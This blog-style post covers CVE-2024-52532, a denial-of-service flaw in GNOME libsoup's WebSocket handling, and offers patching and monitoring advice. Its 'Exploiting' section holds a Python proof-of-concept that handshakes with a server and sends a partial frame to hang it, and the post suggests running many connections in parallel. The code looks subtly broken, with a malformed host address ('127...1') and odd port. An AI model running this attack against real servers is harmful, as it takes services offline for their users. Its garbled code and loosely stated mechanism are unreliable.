A critical vulnerability has been found in the popular GNOME libsoup library, identified as CVE-2024-52532. This bug can lead to memory exhaustion and application hangs through an infinite loop when processing specially crafted WebSocket frames from a client.

In this post, I’ll walk you through what libsoup is, how the bug works, how to exploit it, and how you can protect your systems. I’ll also share some simple, clear code snippets and links to official advisories.

What is libsoup?

libsoup is a GNOME HTTP client/server library used by projects like GNOME Web (Epiphany), Evolution, and even some flatpak apps. It also has WebSocket support, letting applications easily handle modern web communication and real-time features.

Attack Vector: Malicious WebSocket clients sending certain frame patterns

When libsoup’s WebSocket implementation receives data in a specific pattern, its frame-reading loop will never reach an exit condition. The application pegs the CPU, allocates large buffers over time, and can even make the entire application (or server) crash due to out-of-memory conditions or hangs.

- GNOME libsoup Security Advisory
- CVE Record on NVD
- Upstream bug report

Exploiting the Vulnerability

Prerequisite: You must be able to connect to an exposed WebSocket server that uses libsoup < 3.6.1.

Exploit Scenario

Suppose a GNOME-based application or a custom app is running a WebSocket server using vulnerable libsoup. All an attacker needs to do is establish a WebSocket handshake and then send a malformed frame (or sequence of frames) that triggers the broken loop.

Here’s a Python snippet showing how an attacker might exploit this

import socket
import base64

HOST = '127...1'
PORT = 808

def make_ws_frame(payload, fin=1, opcode=1):
    finbit = fin << 7
    header = bytes([finbit | opcode, len(payload)])
    return header + payload

# First, perform a basic WebSocket handshake
s = socket.socket()
s.connect((HOST, PORT))
ws_key = base64.b64encode(b"attackerssecret").decode()

http_headers = (
    f"GET / HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    "Upgrade: websocket\r\n"
    "Connection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {ws_key}\r\n"
    "Sec-WebSocket-Version: 13\r\n"
    "\r\n"
)
s.send(http_headers.encode())
handshake = s.recv(1024)
print("Handshake response:", handshake.decode(errors='ignore'))

# Now send a frame that triggers the infinite loop: a partial frame with no end
malicious_payload = b"\x81"  # Partial header, no body
s.send(malicious_payload)

# Keep connection open, server thread will peg CPU and consume memory
import time; time.sleep(10)
s.close()

What this does:

Performs the WebSocket handshake

- Sends a frame header with no payload (or an illegal/incomplete frame)

Server tries to parse endlessly, leaking memory and hanging

Attackers can send many such connections in parallel to amplify the DoS effect.

Why Does It Happen?

The vuln is in the WebSocket frame reading logic. When a new frame header arrives but the payload is missing (or the length/payload separated out), the input function loops forever waiting for more data—even if the data is invalid or never arrives. Each loop can expand memory allocations or leave state machines in an inconsistent state.

Fixed in:
libsoup commit 3f8f8a6625111e1b489c111e388270bf8ab4e9c9

The patch adds checks to break out of the loop and reject malformed frames, so attackers can’t hold the server hostage.

If you cannot upgrade right away, firewall or disable public WebSocket endpoints temporarily.

For developers:

Always validate incoming WebSocket frames for expected lengths and proper structure.

- Monitor for high CPU and memory usage from your server processes (and limit via systemd or container limits).

Final Thoughts

CVE-2024-52532 is a stark reminder that even stable, popular libraries like libsoup can have severe flaws in subtle parts like protocol parsing. Denial of service bugs, especially in components as exposed as WebSocket servers, can have outsized impact—sometimes as damaging as remote code execution for public-facing services.

Don’t wait: Upgrade, patch, and monitor. Want to know more? You can read the official GNOME commit for technical details and backstory.

Timeline

Published on: 11/11/2024 20:15:20 UTC
Last modified on: 11/12/2024 19:35:16 UTC